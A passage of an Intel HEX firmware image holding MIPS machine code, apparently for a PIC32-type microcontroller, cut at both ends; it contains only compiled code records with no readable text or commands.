2\n:10908400070043a8040043b8dc81828f00004390aa\n:1090940000006330212060008cff03242518830026\n:1090a400000043a00100439000006330010043a08e\n:1090b40000a0023c101a428c000043900000633070\n:1090c4002120600084ff032425188300000043a0ae\n:1090d4000100439000006330010043a072a4400be0\n:1090e40000000000cc818293ff00433080ff022403\n:1090f40024106200ff004230110040100000000004\n:1091040001000224e08182a3f081828f03004014d5\n:10911400000000006da3400f00000000c08180af7c\n:10912400b88180afb481828f260040140000000013\n:1091340008a3400f0000000072a4400b00000000d0\n:1091440002000224e08182a3dc81828f020043902a\n:109154000000633040006334020043a003004490e5\n:10916400fcff032424188300030043a0dc81828fc6\n:10917400cc81832700e0637c070043a8040043b844\n:10918400dc81828f00004390000063302120600066\n:1091940084ff032425188300000043a001004390aa\n:1091a40000006330010043a0c08180afb88180af6c\n:1091b400b481828f030040140000000008a3400f14\n:1091c4000000000021e8c0031400bf8f1000be8f10\n:1091d4001800bd270800e00300000000f0ffbd27d1\n:1091e4000c00beaf21f0a003400002240000c2a383\n:1091f40000a0023c801c422408004294ffff42303d\n:109204004000422c150040100000000000a0023c69\n:10921400801c422408004294ffff42300000c2a395\n:10922400c4818293ff004230050040140000000016\n:1092340001000224c48182a398a4400b0000000012\n:10924400c4818293ff0043300100022403006214ae\n:109254000000000002000224c48182a300a0023c9a\n:10926400801c422408004294ffff43300000c29354\n:10927400ffff423023106200ffff433000a0023c96\n:10928400801c4224080043a400a0023c101a428c13\n:109294000000c393ff036330ffff6330ff006430bb\n:1092a400020045900000a5302520a400020044a03f\n:1092b400021a0300ffff63300300633003006330ce\n:1092c40003004590fcff04242420a40025188300f7\n:1092d400030043a000a0023c901c4224e88182af1a\n:1092e40000a0023c801c42240400428c0100423055\n:1092f4001500401400000000cea4400b0000000044\n:10930400e881828f01004324e88183af00a0033cfd\n:10931400801c638c0100652400a0043c801c85ac87\n:1093240000006390000043a00000c293ffff4224aa\n:109334000000c2a30000c293f1ff4014000000002b\n:10934400e5a4400b00000000e2a4400b0000000074\n:10935400e881828f01004324e88183af00a0033cad\n:10936400801c638c0100652400a0043c801c85ac37\n:1093740000006390000043a00000c293ffff42245a\n:109384000000c2a30000c293f1ff401400000000db\n:1093940021e8c0030c00be8f1000bd270800e003c5\n:1093a40000000000e0ffbd271c00bfaf1800beafe7\n:1093b40021f0a003e481828f02004390ff00633018\n:1093c40003004290ff0042300300423000120200ca\n:1093d40025104300ffff42301000c2a31000c293c7\n:1093e400ffff433000a0023cd01c42240400428c06\n:1093f400007a427cffff42302b10430007004010ec\n:109404000000000000a0023cd01c42240400428c56\n:10941400007a427cffff42301000c2a300a0023c4d\n:10942400d01c42240400428c007a427cffff43306b\n:109434001000c293ffff423023106200ffff44304c\n:1094440000a0023cd01c43240400628c04ba827c39\n:10945400040062ac1100c0a328a5400b000000006a\n:1094640000a0023cd01c428c0100442400a0033c18\n:10947400d01c64ac1100c49300a0033c901c632472\n:109484002118830000006390ff006330000043a0b4\n:109494001100c293010042241100c2a31100c3931e\n:1094a4001000c2932b106200edff40140000000076\n:1094b40000a0023cd01c42240400428c007a427c6e\n:1094c400ffff42302f00401000000000dc81828f3b\n:1094d400020043900000633040006334020043a064\n:1094e40003004490fcff032424188300030043a0da\n:1094f400dc81828f00a0033c901c632400e0637c29\n:10950400070043a8040043b8e481828f000042901e\n:10951400ff00423040004230ff0042300d00401452\n:1095240000000000dc81828f000043900000633063\n:1095340021206000c8ff032425188300000043a0f5\n:109544000100439000006330010043a094a5400b48\n:1095540000000000dc81828f000043900000633033\n:109564002120600088ff032425188300000043a005\n:109574000100439000006330010043a094a5400b18\n:1095840000000000dc81828f020043900000633001\n:1095940040006334020043a003004490fcff032412\n:1095a40024188300030043a0dc81828fcc818327ad\n:1095b40000e0637c070043a8040043b8dc81828f89\n:1095c40000004390000063302120600084ff0324e6\n:1095d40025188300000043a001004390000063307d\n:1095e400010043a000a0023cd01c42240a0043888e\n:1095f40021206000070044982110800009004010d9\n:109604000000000000a0023cd01c42240a00438851\n:1096140021206000070044982110800009f84000d0\n:109624000000000000a0023cd01c4324040062900f\n:10963400c439027c040062a0b481828f0300401408\n:109644000000000008a3400f0000000021e8c00350\n:109654001c00bf8f1800be8f2000bd270800e00348\n:1096640000000000e0ffbd271c00bfaf1800beaf24\n:1096740021f0a00300a0023c801c4324040062905b\n:1096840001000424c439827c040062a088bf023c27\n:10969400105342241400c2af1100c0a3b2a5400b62\n:1096a400000000001400c28f000040ac1400c28f00\n:1096b400100042241400c2af1100c29301004224de\n:1096c4001100c2a31100c2930300422cf5ff401401\n:1096d4000000000000a0023c001c442421280000db\n:1096e400800006246551410f0000000088bf033c40\n:1096f40050526290010004244408827c505262a0bb\n:109704001000c0a3cfa5400b000000001000c393bd\n:109714000882822721106200000040a01000c39339\n:10972400d881822721106200000040a01000c2935b\n:10973400010042241000c2a31000c2930400422c72\n:10974400f2ff401400000000048284272128000056\n:10975400010006246551410f0000000088bf033c4e\n:10976400505262904408027c505262a000a0023c15\n:1097740000a0033c101c6324101a43ac00a0023c5c\n:10978400001c4224e48182afe481828fdc8182afb9\n:10979400ce818293ff004230bc8182a3bc8182933c\n:1097a400ff004230050040140000000010000224b5\n:1097b400f88182aff7a5400b0000000001000424eb\n:1097c400bc81852701000624dd64400f00000000f1\n:1097d40020000224f88182af21e8c0031c00bf8f5f\n:1097e4001800be8f2000bd270800e0030000000021\n:1097f400f8ffbd270400beaf21f0a003cc81829303\n:10980400ff00433080000224510062140000000075\n:1098140000a0023c801c4224c0ff0324040043a097\n:10982400cf818293ff0042300200032411004310d1\n:109834000000000003000324250043100000000082\n:10984400010003243e0043140000000000a0023c79\n:10985400059d033c145f6324801c43ac00a0023cc0\n:10986400801c422412000324080043a455a6400b84\n:1098740000000000ce818293ff0042308018020075\n:10988400059d023cd45f4224211062000000438cf9\n:1098940000a0023c801c43ac00a0023c801c428c13\n:1098a4000200439000a0023c801c4224080043a014\n:1098b40000a0023c801c428c0300439000a0023ca8\n:1098c400801c4224090043a055a6400b0000000060\n:1098d400ce818293ff0042300400422c13004010da\n:1098e40000000000ce818293ff0042308018020005\n:1098f400059d023c505f4224211062000000438c0d\n:1099040000a0023c801c43ac00a0023c801c428ca2\n:10991400000042902118400000a0023c801c422418\n:10992400080043a455a6400b0000000000a0023c20\n:10993400801c4224040040a055a6400b00000000f7\n:1099440000a0023c801c4224040040a0000000004f\n:1099540021e8c0030400be8f0800bd270800e0030f\n:1099640000000000f0ffbd270c00beaf21f0a003f3\n:1099740000a0023c901c40a000a0023c901c422489\n:10998400010040a0cc81828f0020427cff00423045\n:1099940001000324220043100000000002000324fd\n:1099a40027004310000000005b004014000000008a\n:1099b40000a0023c801c43240400629001000424a3\n:1099c400c439827c040062a000a0023c901c429036\n:1099d400ff00423001004234ff00433000a0023c4b\n:1099e400901c43a00082838f010002240a006214a9\n:1099f4000000000000a0023c901c4290ff00423096\n:109a040002004234ff00433000a0023c901c43a0fb\n:109a1400c7a6400b00000000c7a6400b00000000d2\n:109a240000a0023c801c4324040062900100042432\n:109a3400c439827c040062a0c7a6400b0000000069\n:109a440000a0023c801c4324040062900100042412\n:109a5400c439827c040062a0d0818293ff00433029\n:109a640080ff022424106200ff0042300d004014e5\n:109a740000000000d081828f0018427cff00423039\n:109a84002118400000a0023c80180300001a422460\n:109a9400211062000000428c0000c2afb4a6400b4b\n:109aa40000000000d081828f0018427cff00423009\n:109ab4002118400000a0023c80180300101a422420\n:109ac400211062000000428c0000c2af0000c28f6f\n:109ad4000000439080ff022424106200ff00423003\n:109ae4000c004010000000000000c28f00004290f3\n:109af40004004230ff004230060040100000000025\n:109b040000a0023c01000324901c43a0c6a6400b05\n:109b1400000000000000000000a0023c801c422461\n:109b24000400428c800042300f004010000000000e\n:109b340000a0023c00a0033c901c6324801c43aca6\n:109b440000a0023c801c4324040062900100042411\n:109b54000400827c040062a000a0023c801c422419\n:109b640002000324080043a021e8c0030c00be8fb8\n:109b74001000bd270800e00300000000f8ffbd2727\n:109b84000400beaf21f0a00388bf023c0053428c06\n:109b9400020042302600401000000000e481828f61\n:109ba40000004390ff00633001004290ff00423008\n:109bb4000012020025104300ffff433080000224fe\n:109bc400170062140000000000a0023c101a428c2e\n:109bd40000004390ff00633001004290ff004230d8\n:109be4000012020025104300ffff433084000224ca\n:109bf4000b00621400000000e481828f0000439097\n:109c040000006330212060008cff032425188300aa\n:109c1400000043a00100439000006330010043a012\n:109c240088bf033c005362904408027c005362a046\n:109c340088bf023c80000324005243ac21e8c003e7\n:109c44000400be8f0800bd270800e00300000000e8\n:109c5400e8ffbd271400bfaf1000beaf21f0a00382\n:109c640088bf033c50506290010004240421827c8c\n:109c7400505062a088bf023c10000324005243ac41\n:109c840001000224d48182af75000424212800003d\n:109c940021300000dd64400f0000000021e8c00313\n:109ca4001400bf8f1000be8f1800bd270800e0030a\n:109cb40000000000e8ffbd271400bfaf1000beafd6\n:109cc40021f0a003d48180af740004242128000073\n:109cd40021300000dd64400f0000000088bf033c19\n:109ce400505062900421027c505062a088bf023c14\n:109cf40010000324405043ac21e8c0031400bf8f7c\n:109d04001000be8f1800bd270800e003000000000b\n:109d1400e0ffbd271c00bfaf1800beaf21f0a003b9\n:109d2400c8818293ff00423021184000fbff0224c7\n:109d3400241062004100401400000000c881829396\n:109d4400ff00423082100200ff004230c0180200bf\n:109d540000a0023c001c422421106200e48182af76\n:109d6400e481828fdc8182afdc818227dc818327de\n:109d74000000639008006338ff006330000043a0d4\n:109d8400e481828f00004290ff0042303c00423068\n:109d9400ff00433034000224240062140000000059\n:109da4001000c0a37fa7400b000000001000c39365\n:109db400cc81822721186200e481828f07004488c5\n:109dc4000400449800a0023c251082000000429048\n:109dd400000062a0e481828f070043880400439856\n:109de40001006324070043a8040043b81000c29391\n:109df400010042241000c2a31000c2930800422ca8\n:109e0400eaff401400000000e481828fcc818327a4\n:109e140000e0637c070043a8040043b8a0a7400ff8\n:109e2400000000009aa7400b0000000020a8400f8b\n:109e3400000000009aa7400b00000000c881829334\n:109e4400ff00423021184000fbff02242418620066\n:109e540008000224030062140000000052a8400f0e\n:109e64000000000021e8c0031c00bf8f1800be8f53\n:109e74002000bd270800e00300000000e8ffbd2724\n:109e84001400bfaf1000beaf21f0a003c48180a3b3\n:109e9400b48180aff08180aff48180afb08180afb6\n:109ea400e08180a300a0023c101a428c00a0033c75\n:109eb400101a638c00006490ff00843001006390ea\n:109ec400ff006330001a030025186400ffff6430ac\n:109ed4007fff032424188300ffff6330ff006430f6\n:109ee400000045900000a5302520a400000044a0f7\n:109ef400021a0300ffff6330010044900000843025\n:109f040025188300010043a000a0023c101a42243b\n:109f140000a0033c101a6324000063900800633817\n:109f2400ff006330000043a000a0023c101a428ce2\n:109f340000a0033c101a638c00006490ff0084307e\n:109f440001006390ff006330001a030025186400c9\n:109f5400ffff64307fff032424188300ffff633076\n:109f6400ff006430000045900000a5302520a400c7\n:109f7400000044a0021a0300ffff63300100449074\n:109f84000000843025188300010043a000a0023c97\n:109f9400101a422400a0033c101a632400006390aa\n:109fa40008006338ff006330000043a0dc81828f27\n:109fb400dc81838f00006490ff0084300100639093\n:109fc400ff006330001a030025186400ffff6430ab\n:109fd4007fff032424188300ffff6330ff006430f5\n:109fe400000045900000a5302520a400000044a0f6\n:109ff400021a0300ffff6330010044900000843024\n:10a0040025188300010043a000a0023c801c4224c8\n:10a01400040040a000a0023c801c4224080040a48c\n:10a0240000a0023cd01c4224040040a000a0023c3a\n:10a03400d01c43240400628c04ba027c040062ac89\n:10a04400d9a8400f000000000300042421280000c8\n:10a0540021300000dd64400f00000000f3a3400f36\n:10a064000000000021e8c0031400bf8f1000be8f61\n:10a074001800bd270800e00300000000e8ffbd272a\n:10a084001400bfaf1000beaf21f0a003e0818293a3\n:10a09400ff004330020002240500621400000000a7\n:10a0a400eaa4400f000000004ca8400b0000000090\n:10a0b400e08180a3b081828f1b0040140000000067\n:10a0c400dc81828f020043900000633040006334df\n:10a0d400020043a003004490fcff032424188300df\n:10a0e400030043a0dc81828fcc81832700e0637c62\n:10a0f400070043a8040043b8dc81828f000043902a\n:10a1040000006330212060008cff032425188300a5\n:10a11400000043a00100439000006330010043a00d\n:10a124004ca8400b00000000b08180af21e8c003c0\n:10a134001400bf8f1000be8f1800bd270800e00375\n:10a1440000000000e0ffbd271c00bfaf1800beaf39\n:10a1540021f0a00300a0023c101a428c000042909f\n:10a164008001427cff0042301000c2a300a0023ce8\n:10a17400101a422400a0033c101a632400006390c8\n:10a1840008006338ff006330000043a0f881838f28\n:10a19400080002241000621400000000ce818293a3\n:10a1a400ff0042302118400088bf023c605243ac9b\n:10a1b40088bf023c6052428c050040100000000041\n:10a1c40010000224f88182af77a8400b0000000041\n:10a1d40004000224f88182afe0818293ff004330bf\n:10a1e40001000224390062140000000000a0023cb7\n:10a1f400101a428c00a0033c901c632400e0637c92\n:10a20400070043a8040043b878a4400f00000000ee\n:10a21400c4818293ff004330020002240e006214c2\n:10a224000000000000a0023c101a428c0000439081\n:10a23400000063302120600084ff0324251883007c\n:10a24400000043a00100439000006330010043a0dc\n:10a25400d3a8400b000000001000c2930e0040146d\n:10a264000000000000a0023c101a428c0000439041\n:10a274000000633021206000c8ff032425188300f8\n:10a28400000043a00100439000006330010043a09c\n:10a29400d3a8400b0000000000a0023c101a428c1e\n:10a2a40000004390000063302120600088ff0324f5\n:10a2b40025188300000043a0010043900000633090\n:10a2c400010043a0d3a8400b0000000000a0023c02\n:10a2d400d01c422404004290ff00433080ff02243b\n:10a2e40024106200ff0042301600401000000000fd\n:10a2f40000a0023cd01c42240a00438821206000b4\n:10a30400070044982110800009004010000000005c\n:10a3140000a0023cd01c42240a0043882120600093\n:10a32400070044982110800009f840000000000054\n:10a3340000a0023cd01c432404006290c439027c77\n:10a34400040062a0e08180a321e8c0031c00bf8f49\n:10a354001800be8f2000bd270800e00300000000a5\n:10a36400e8ffbd271400bfaf1000beaf21f0a0036b\n:10a37400cc818293ff00423060004230ff004230c3\n:10a3840003004010000000005da9400b0000000025\n:10a39400cd818293ff0042300c00432c7300601087\n:10a3a4000000000080180200039d023cc4a3422464\n:10a3b400211062000000428c0800400000000000f0\n:10a3c40090a4029da0a4029d70a5029da0a4029d3c\n:10a3d40070a5029df4a3029d1ca4029d54a5029d98\n:10a3e4003ca4029d2ca4029db0a4029d14a5029d30\n:10a3f40000a0023c801c4324040062900100042459\n:10a40400c439827c040062a008000224f88182af6f\n:10a414005da9400b00000000fda5400f00000000f6\n:10a424005da9400b000000009aa5400f0000000049\n:10a434005da9400b0000000000a0023cbc81832702\n:10a44400801c43ac00a0023c801c432404006290a6\n:10a45400010004240400827c040062a000a0023ce9\n:10a46400801c422401000324080043a000a0023cf5\n:10a47400801c43240400629001000424c439827cbb\n:10a48400040062a05da9400b000000005aa6400f22\n:10a49400000000005da9400b0000000063a9400f0c\n:10a4a400000000005da9400b00000000d0818293f1\n:10a4b400ff004230211840000482822721186200e4\n:10a4c40000a0023c801c43ac00a0023c801c43243e\n:10a4d40004006290010004240400827c040062a051\n:10a4e40000a0023c801c422401000324080043a075\n:10a4f40000a0023c801c4324040062900100042458\n:10a50400c439827c040062a05da9400b00000000f5\n:10a5140000a0023c801c4324040062900100042437\n:10a52400c439827c040062a0d0818293ff0042304f\n:10a5340021204000ce818293ff0043300482822791\n:10a5440021108200000043a05da9400b0000000020\n:10a55400020004242128000021300000dd64400fa3\n:10a56400000000005da9400b000000000000000096\n:10a5740021e8c0031400bf8f1000be8f1800bd2750\n:10a584000800e00300000000d8ffbd272400bfaf8f\n:10a594002000beaf21f0a003ce818293ff004330a0\n:10a5a400010002241700621400000000cc81829391\n:10a5b400ff0042301f004230ff00423011004014bf\n:10a5c4000000000000a0023c801c432404006290b0\n:10a5d40001000424c439827c040062a0cd818293ea\n:10a5e400ff00433003000224050062140000000051\n:10a5f40001000224008282af82a9400b0000000007\n:10a60400008280afce818293ff0042307e014014ed\n:10a6140000000000cc818293ff0042301f004230d2\n:10a62400ff0043300200022477016214000000009e\n:10a63400d0818293ff0042300f004230ff0042304d\n:10a644007101401000000000d081828f0018427c0c\n:10a65400ff004230040042286b014010000000005b\n:10a66400f881838f20000224670162140000000037\n:10a6740000a0023c801c43240400629001000424d6\n:10a68400c439827c040062a0d0818293ff004330ed\n:10a6940080ff022424106200ff00423016004014a0\n:10a6a40000000000d081828f0018427cff004230fd\n:10a6b4002118400000a0023c80180300001a422424\n:10a6c400211062000000428c1400c2afd081828f3e\n:10a6d4000018427cff00423021184000d8818227b4\n:10a6e4002110620000004290ff0042301800c2a313\n:10a6f400d2a9400b00000000d081828f0018427c58\n:10a70400ff0042302118400000a0023c80180300e2\n:10a71400101a4224211062000000428c1400c2afbf\n:10a72400d081828f0018427cff0042302118400003\n:10a73400088282272110620000004290ff0042300c\n:10a744001800c2a31800c29301004230ff00423037\n:10a754000a004014000000001400c2271400c3279c\n:10a7640000006490f7ff032424188300ff00633083\n:10a77400000043a0e6a9400b000000001400c2271b\n:10a784001400c3270000639008006334ff006330a3\n:10a79400000043a0d0818293ff00433080ff022455\n:10a7a40024106200ff0042300d004014000000003d\n:10a7b400d081828f0018427cff004230212040006b\n:10a7c4001400c38f00a0023c80200400001a42241d\n:10a7d40021108200000043ac03aa400b00000000db\n:10a7e400d081828f0018427cff004230212040003b\n:10a7f4001400c38f00a0023c80200400101a4224dd\n:10a8040021108200000043accd818293ff004330cd\n:10a81400030002243b006214000000001400c28ff5\n:10a824000000439080ff022424106200ff004230a5\n:10a834001e00401000000000d0818293ff004330ce\n:10a8440080ff022424106200ff0042300d004014f7\n:10a8540000000000d081828f0018427cff0042304b\n:10a8640021184000d88182272118620000006290dc\n:10a87400010004244408827c000062a02caa400b3e\n:10a8840000000000d081828f0018427cff0042301b\n:10a89400211840000882822721186200000062907b\n:10a8a400010004244408827c000062a01400c28fca\n:10a8b4001400c38f0000649001006390001a030029\n:10a8c40025186400ffff633084006334ffff6330a6\n:10a8d400ff006430000045900000a5302520a4004e\n:10a8e400000044a0021a0300ffff633001004490fb\n:10a8f4000000843025188300010043a003ab400b03\n:10a90400000000001400c2271400c3270000639055\n:10a9140008006338ff006330000043a01400c28fb6\n:10a924000000439080ff022424106200ff004230a4\n:10a9340032004010000000001400c28f1400c38fc6\n:10a944000000649001006390001a0300251864005d\n:10a95400ffff64307fff032424188300ffff63306c\n:10a96400ff006430000045900000a5302520a400bd\n:10a97400000044a0021a0300ffff6330010044906a\n:10a984000000843025188300010043a01400c28f06\n:10a994001400c38f0000649001006390001a030048\n:10a9a40025186400ffff633040006334ffff633009\n:10a9b400ff006430000045900000a5302520a4006d\n:10a9c400000044a0021a0300ffff6330010044901a\n:10a9d4000000843025188300010043a01400c28fb6\n:10a9e400050004242128400004000624dd64400fef\n:10a9f4000000000094aa400b000000001400c28f65\n:10aa04001400c38f0000649001006390001a0300d7\n:10aa140025186400ffff633040006334ffff633098\n:10aa2400ff006430000045900000a5302520a400fc\n:10aa3400000044a0021a0300ffff633001004490a9\n:10aa44000000843025188300010043a01400c227ad\n:10aa54001400c3270000639008006338ff006330cc\n:10aa6400000043a01800c29302004230ff004230ad\n:10aa740008004014000000001400c28f000043903e\n:10aa840080ff022424106200ff004230390040108d\n:10aa940000000000d0818293ff00433080ff022435\n:10aaa40024106200ff0042300c004014000000003b\n:10aab400d081828f0018427cff0042302118400070\n:10aac400d881822721186200000062904408027c29\n:10aad400000062a0c1aa400b00000000d081828f58\n:10aae4000018427cff00423021184000088282276f\n:10aaf40021186200000062904408027c000062a0f9\n:10ab04001400c28f1400c38f00006490010063908e\n:10ab1400001a030025186400ffff64303bff032480\n:10ab240024188300ffff6330ff0064300000459069\n:10ab34000000a5302520a400000044a0021a030050\n:10ab4400ffff633001004490000084302518830027\n:10ab5400010043a01400c28f0500042421284000f2\n:10ab640004000624dd64400f00000000f3aa400b3b\n:10ab7400000000001400c28f1400c38f0000649012\n:10ab840001006390001a030025186400ffff64307d\n:10ab94003bff032424188300ffff6330ff0064306d\n:10aba400000045900000a5302520a400000044a02a\n:10abb400021a0300ffff6330010044900000843058\n:10abc40025188300010043a088bf023c005342249f\n:10abd4001000c2afd081828f0018427cff00423047\n:10abe400001102001000c38f211062001000c2afd8\n:10abf4001000c28f0000438cfdff02242418620061\n:10ac04001000c28f000043ac21e8c0032400bf8fb2\n:10ac14002000be8f2800bd270800e00300000000cc\n:10ac240038ffbd27c400bfafc000b1afbc00b0af98\n:10ac340021888000040002241000a2af00a0103c70\n:10ac4400dc5610269c00028e1400a2afec00028e8b\n:10ac54001800a2aff000028e1c00a2afe400028e26\n:10ac64002000a2afe800028e2400a2afe000028e12\n:10ac74002800a2aff400028e2c00a2af059d043c74\n:10ac840074c384240500052401000624313b410fcc\n:10ac940001000724cc0000ae9c00048ea400058ea5\n:10aca400b000078e00a0033c995763241000a3afa3\n:10acb400bc0003921400a3af8c00038e1800a3af52\n:10acc400010003241c00a3af2000a0af422805000c\n:10acd4003000a627a9ff400f80380700b000038e7c\n:10ace400801803001b004314010003243000a42730\n:10acf4002128800003b3400f84000624150040106f\n:10ad0400010003243000a4931500831421100000d3\n:10ad1400212020023100a52763b9400f200006241a\n:10ad240001000324cc0003aef800038e9c00028ec5\n:10ad340002186270eb51023c1f8542341900620014\n:10ad440010200000400e410f4221040059ab400b7b\n:10ad54000100022400a0023ca85743ac21100000cb\n:10ad6400c400bf8fc000b18fbc00b08f0800e003e7\n:10ad7400c800bd27e8ffbd271400bfaf7f49410fbe\n:10ad840000000000010002241400bf8f0800e0034b\n:10ad94001800bd2790ffbd276c00bfaf6800b0af9f\n:10ada400218080003030023c303042241800a2afb1\n:10adb400300002241c00a2a746b9400f1d00a4279e\n:10adc4001400401021180000210002241000a2af3a\n:10add4001400a0af4000a4271800a52721300000cc\n:10ade40016ac400f213800000a0040102118000062\n:10adf4004000a49301000224070082142110600083\n:10ae0400212000024100a52763b9400f2000062439\n:10ae140001000324211060006c00bf8f6800b08f14\n:10ae24000800e0037000bd27b0ffbd274c00bfaf92\n:10ae34004800b1af4400b0afff00b0304000022e74\n:10ae440025004010211800002188800009ab400f24\n:10ae54001800a42720004010211800001800a4277f\n:10ae640066ab400f212880003030023c313142244f\n:10ae74001800a2af1c00a0a31c00a42721280002d4\n:10ae8400e2b6400f080006242400a0a321000224f7\n:10ae94001000a2af1400a0af1800a427212880003e\n:10aea4002130000016ac400f213800000a00401089\n:10aeb400211800001800a493010002240700821442\n:10aec40021106000212020021900a52763b9400f3a\n:10aed4002000062401000324211060004c00bf8fd1\n:10aee4004800b18f4400b08f0800e0035000bd2734\n:10aef40098ffbd276400bfaf6000b1af5c00b0af86\n:10af0400ff0090304000022e4c0040102118000039\n:10af14002188a00009ab400f3000a427470040104f\n:10af2400211800003000a42766ab400f21288000c0\n:10af34003000a42746b9400f212820022000042411\n:10af44003e004414211800003030023c31304224c9\n:10af54001800a2af1c00a42721280002e2b6400f6b\n:10af6400080006242400a0a31000a0af01000224be\n:10af74001400a2af5400a4271800a5272130000014\n:10af840016ac400f213800002c004010211800009e\n:10af940000a0023cdc5642249c00438cf800428c06\n:10afa40002186270eb51023c1f85423419006200a2\n:10afb40010200000400e410f422104001000a0aff9\n:10afc400010002241400a2af5400a4273000a527d6\n:10afd4002130000016ac400f21380000170040104b\n:10afe4002118000000a0023cdc564224f800438ce7\n:10aff400d60263249c00428c02186270eb51023c1e\n:10b004001f8542341900620010200000400e410fd9\n:10b01400422104003000a4278bab400f21280002fa\n:10b0240006004010211800003000a4272128200227\n:10b03400d352410f080006240100432c2110600064\n:10b044006400bf8f6000b18f5c00b08f0800e00324\n:10b054006800bd2778ffbd278400bfaf8000b5af6f\n:10b064007c00b4af7800b3af7400b2af7000b1af7e\n:10b074006c00b0af219880002190c00021a0e000b6\n:10b084009800b193ffff02243000a2a377ba400fc7\n:10b094003400a427ff005530ff0050303000a427af\n:10b0a4003400a5279bac400f213000023400a227b6\n:10b0b400212050003000a5934cb6400f0800062410\n:10b0c40000a0023cdc564224e000438c0800a52684\n:10b0d400040004241000a4af9c00448c1400a4af0a\n:10b0e4001800a3aff000448c1c00a4afe400448c0f\n:10b0f4002000a4afe800448c2400a4af2800a3af30\n:10b10400f400428c2c00a2af3400a427ff00a53029\n:10b1140021304002313b410f010007244800401018\n:10b12400211800009c00a28f1d0040100100022481\n:10b13400448282a300a0023cdc5642249c00448c3e\n:10b14400a400458c00a0033c995763241000a3afce\n:10b15400bc0043901400a3af8c00428c1800a2af33\n:10b16400010002241c00a2af2000a0af3400a627d7\n:10b17400a9ff400f030007240300042430004414f3\n:10b18400211800003400a427059d053cd85fa524a0\n:10b19400d352410f03000624290040142118000053\n:10b1a400270020120100032401000224448282a308\n:10b1b40000a0023cdc5642249c00448ca400458c34\n:10b1c40021802002030080122110000000a0023c14\n:10b1d4009857429000a0033c995763241000a3aff2\n:10b1e4001400a2af00a0023c6857428c1800a2af22\n:10b1f400010002241c00a2af2000a0af2130600295\n:10b20400a9ff400f213820020d000216211800006a\n:10b2140000a0023cdc564224f800448c9c00428c82\n:10b2240002208270eb51023c1f85423419008200d7\n:10b2340010200000400e410f4221040001000324ad\n:10b24400211060008400bf8f8000b58f7c00b48f14\n:10b254007800b38f7400b28f7000b18f6c00b08f20\n:10b264000800e0038800bd27d8ffbd272400bfaf36\n:10b274002000b4af1c00b3af1800b2af1400b1afdc\n:10b28400ff00d130210020121000b0af21908000c7\n:10b294002198a000218000002310300208004228d9\n:10b2a4000f0040102120700223a03002ff009432ce\n:10b2b4002db6400f21288002ff00423023281102be\n:10b2c4000800a5240428a20021204002ff00a53084\n:10b2d400ccac400f21308002c0ac400b08001026db\n:10b2e4002db6400f0800052421204002ff00453000\n:10b2f400ccac400f0800062408001026ff001032d2\n:10b304002b101102e5ff4014231030022400bf8fdc\n:10b314002000b48f1c00b38f1800b28f1400b18fbb\n:10b324001000b08f0800e0032800bd27ff00c630de\n:10b33400000082902628a200000085a0d9ac400b12\n:10b34400ff000524201c027c04006104401002005c\n:10b354001d004238d9ac400b000082a0000082a03e\n:10b36400ffffc624ff00c630f6ffc55400008290dc\n:10b374000800e0030000000070ffbd278c00bfaf91\n:10b384008800b7af8400b6af8000b5af7c00b4af1f\n:10b394007800b3af7400b2af7000b1af6c00b0af5f\n:10b3a400d600c0102190c00021a0800021a8a000d8\n:10b3b4002198000021800000059d023c30c44224f5\n:10b3c4006000a2af039d163c3cb4d626059d173cf5\n:10b3d400802810002110a5021000a2af0a00022448\n:10b3e4001400a2af500002241800a2af2310500290\n:10b3f4001c00a2af2000a427212885020a000624ed\n:10b404003519410f00010724bd0040102188400078\n:10b41400a34a410f2000a427fcff42242a00432c06\n:10b42400ad006010801002002110c2020000428ca6\n:10b434000800400000000000e4b4029d2cb5029d09\n:10b44400dcb6029ddcb6029ddcb6029ddcb6029d34\n:10b45400dcb6029ddcb6029ddcb6029ddcb6029d24\n:10b46400dcb6029ddcb6029ddcb6029ddcb6029d14\n:10b47400dcb6029ddcb6029d74b5029ddcb6029d6d\n:10b48400dcb6029ddcb6029ddcb6029ddcb6029df4\n:10b49400dcb6029ddcb6029ddcb6029ddcb6029de4\n:10b4a400dcb6029ddcb6029ddcb6029ddcb6029dd4\n:10b4b400dcb6029ddcb6029ddcb6029ddcb6029dc4\n:10b4c400dcb6029ddcb6029d20b6029ddcb6029d70\n:10b4d400dcb6029ddcb6029ddcb6029d68b6029d18\n:10b4e4002000a427059d053c7cc3a524d352410f0d\n:10b4f4000400062407004014059d043c059d043cfb\n:10b5040084c384242013410f2000a527bbad400b26\n:10b514002180110290c384242013410f2000a52709\n:10b52400bbad400b218011022000a427059d053ce2\n:10b5340074c3a524d352410f050006240700401408\n:10b54400059d043c059d043ca0c384242013410fa5\n:10b554002000a527bbad400b2180110290c3842499\n:10b564002013410f2000a527bbad400b2180110201\n:10b574002000a427059d053cb0c3a524d352410f48\n:10b5840004000624070040142000a427059d043c61\n:10b59400b8c384242013410f2000a5277bad400ba2\n:10b5a4003400a0a3059d053cd4c3a524d352410f68\n:10b5b4000400062407004014059d043c059d043c3a\n:10b5c400dcc384242013410f2000a5277bad400b4e\n:10b5d4003400a0a390c384242013410f2000a52786\n:10b5e400bbad400b218011025000a427c9b9400f04\n:10b5f4002400a527059d043cf8c384242013410f8f\n:10b604005000a527059d043c00c484242013410f49\n:10b614005200a527bbad400b21801102059d043cbf\n:10b6240004c484242013410f2000a5274800a0a3ac\n:10b634005000a427c9b9400f2000a527059d043c4c\n:10b6440010c484242013410f5000a527059d043cf9\n:10b6540000c484242013410f5800a527bbad400b20\n:10b66400218011022000a42718c4e526d352410fdb\n:10b674000500062413004014059d043c059d043c6c\n:10b6840020c484242013410f2000a5274d00a0a32b\n:10b694005000a427c9b9400f2500a527059d043ce7\n:10b6a40010c484242013410f5000a527059d043c99\n:10b6b40000c484242013410f5800a527bbad400bc0\n:10b6c4002180110290c384242013410f2000a52758\n:10b6d400bbad400b218011026000a48f2013410fe9\n:10b6e4002000a527218011022b1012020400401013\n:10b6f40001001324f6ac400b8028100021980000b0\n:10b70400059d043c00c48424059d053c2013410f81\n:10b7140040c4a524211060028c00bf8f8800b78f1d\n:10b724008400b68f8000b58f7c00b48f7800b38f0f\n:10b734007400b28f7000b18f6c00b08f0800e0030a\n:10b744009000bd2798ffbd276400bfaf6000b1af74\n:10b754005c00b0af218880000c8180af040002241b\n:10b764001000a2af00a0023cdc5642249c00438c93\n:10b774001400a3afec00438c1800a3aff000438c7b\n:10b784001c00a3afe400438c2000a3afe800438c6b\n:10b794002400a3afe000438c2800a3aff400428c44\n:10b7a4002c00a2af059d043c44c484240500052458\n:10b7b40001000624313b410f0100072423004010ff\n: